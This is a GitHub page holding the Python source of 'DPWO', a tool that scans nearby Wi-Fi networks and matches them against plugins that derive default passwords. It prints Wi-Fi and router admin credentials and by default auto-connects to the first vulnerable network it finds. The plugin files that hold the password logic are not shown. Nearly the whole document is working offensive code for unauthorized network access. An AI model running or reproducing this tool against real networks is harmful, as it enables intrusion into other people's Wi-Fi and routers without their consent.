forked from caioluders/DPWO
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdpwo.py
170 lines (130 loc) · 5.03 KB
/
dpwo.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
# -*- coding: utf-8 -*-
import subprocess , argparse , sys , imp , os
from wifi import Cell , Scheme
'''
DPWO
Default Password Wifi Owner 0.4v
python3
'''
AIRPORT_PATH = "/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport"
class NETOwner():
def __init__(self, iface, connect=False,brute = False,
airport=AIRPORT_PATH, verbosity=0):
self.iface = iface
self.brute = brute
self.connect = connect
self.airport = airport
self.verbosity = verbosity
self.os = sys.platform
self.plugins = self.load_plugins()
def load_plugins(self) :
plugin_folder = "./plugins"
plugins = []
possible_plugins = os.listdir(plugin_folder)
for f in possible_plugins :
location = os.path.join(plugin_folder,f)
if f[-3:] != '.py' or os.path.isfile(location) != True:
continue
info = imp.find_module(f[:-3],[plugin_folder])
p = imp.load_module(location, *info)
plugins.append(p)
return plugins
def osx_networks(self):
scan = ""
while scan == "": # for some reason airport fails randomly
scan = subprocess.check_output([self.airport, "scan"]).decode()
# scan the area for wifi
scan = scan.encode('ascii','ignore')
scan = scan.decode().split("\n")
for wifi in scan:
obj = str.split(wifi)
if len(obj) > 0:
yield obj
def linux_networks(self):
scan = Cell.all(self.iface)
for wifi in scan:
obj = [wifi.ssid, wifi.address, wifi.signal, wifi.channel, wifi]
yield obj
def scan_network(self):
if self.os == "linux" or self.os == "linux2":
scanner = self.linux_networks()
elif self.os == "darwin":
scanner = self.osx_networks()
# elif os == "win32": TODO
results = []
for wifi in scanner:
if self.verbosity > 1:
print(wifi)
# match SSID/MAC to a plugin
for p in self.plugins :
if p.is_vuln(wifi[0],wifi[1]) :
results.append(p.own(wifi[0],wifi[1]))
return results
def connect_net(self, wifi):
if self.os == "linux" or self.os == "linux2":
status = self.connect_net_linux(wifi)
elif self.os == "darwin":
status = self.connect_net_osx(wifi)
# elif os == "win32":
return status
def connect_net_osx(self, wifi):
connect = subprocess.check_output([
"networksetup", "-setairportnetwork",
self.iface, wifi['ssid'], wifi['wifi_password']
]).decode()
if self.verbosity > 0:
print(connect)
return "Failed" not in connect
def connect_net_linux(self, wifi):
return Scheme.find(self.iface, wifi[1]).activate()
def own(self):
wifi_available = self.scan_network()
if len(wifi_available) == 0:
print("No WiFi available :'(")
else:
connected = False
for wifi in wifi_available:
print("WI-FI: " + wifi["ssid"])
print("Password: " + wifi["wifi_password"])
if self.verbosity > 0:
if wifi["admin_login"] and wifi["admin_password"] :
print("Admin credentials of the router: ")
print("User: " + wifi["admin_login"])
print("Password: " + wifi["admin_password"])
if not connected and self.connect:
print("Trying to connect...")
if self.connect_net(wifi):
print("Connected! Have fun (:")
connected = True
else:
print("Nope :(")
def parse_args():
parser = argparse.ArgumentParser(
formatter_class=argparse.ArgumentDefaultsHelpFormatter
)
parser.add_argument("-i", "--interface", default="wlp3s0",
help="Network interface.")
parser.add_argument("-b", "--brute",action='store_true', default=False,
help="Enables bruteforce if needed it.")
parser.add_argument("-d", "--disable", action="store_false", default=True,
help="Disable autoconnect to the first vulnerable network.")
parser.add_argument("-a", "--airport", default=AIRPORT_PATH,
help="Airport program path.")
parser.add_argument("-v", "--verbosity", action="count",
help="Increase output verbosity.")
args = parser.parse_args()
return args
def main():
print("DPWO v0.4")
print("≈≈≈≈≈≈≈≈≈≈≈≈≈≈")
args = parse_args()
owner = NETOwner(
args.interface,
connect=args.disable,
brute=args.brute,
airport=args.airport,
verbosity=args.verbosity or 0
)
owner.own()
if __name__ == "__main__":
main()